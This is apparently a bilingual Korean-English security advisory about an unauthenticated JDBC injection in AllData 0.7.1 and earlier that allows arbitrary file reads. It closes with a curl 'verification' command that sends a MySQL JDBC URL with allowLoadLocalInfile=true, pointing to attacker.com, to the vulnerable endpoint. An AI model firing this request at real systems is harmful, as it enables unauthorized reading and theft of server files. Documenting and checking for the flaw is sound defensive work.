🇰🇷 한글 설명
AllData 0.7.1 이하 버전에서 인증되지 않은 사용자가 JDBC 인젝션을 통해 임의의 데이터베이스 연결을 생성할 수 있는 취약점이 발견되었습니다. 공격자는 특정 엔드포인트에 조작된 jdbcUrl과 jdbcDriverClass 값을 전달하여, 공격자가 제어하는 서버를 통해 호스트의 임의 파일을 읽어낼 수 있습니다.
💡 쉬운 설명
해커가 인증 없이 시스템에 접속하여 데이터베이스 연결 설정을 마음대로 바꿀 수 있는 보안 약점입니다. 이를 통해 해커는 서버에 저장된 중요한 파일들을 몰래 훔쳐갈 수 있습니다.
🇺🇸 원문 (English)
AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and jdbcDriverClass values to the data-dts /jobJdbcDatasource/test endpoint. Attackers can supply a MySQL JDBC URL with allowLoadLocalInfile=true pointing to an attacker-controlled server to read arbitrary files from the data-dts host.
📍 영향받는 시스템
AllData 0.7.1 이하 모든 버전
⚔️ 공격 벡터
data-dts /jobJdbcDatasource/test 엔드포인트에 조작된 jdbcUrl 및 jdbcDriverClass 파라미터 전송
🛡️ 대응 방법
AllData를 최신 보안 패치가 적용된 버전으로 업데이트하거나, 해당 엔드포인트에 대한 접근 제어를 설정하십시오.
🔧 검증 코드
명령어 실행 시 공격자가 설정한 외부 URL로의 연결 시도나 특정 응답이 나타나면 취약한 상태입니다.
curl -s -X POST http://<target-ip>/data-dts/jobJdbcDatasource/test -d 'jdbcUrl=jdbc:mysql://attacker.com/db?allowLoadLocalInfile=true&jdbcDriverClass=com.mysql.cj.jdbc.Driver' | grep -E 'error|success'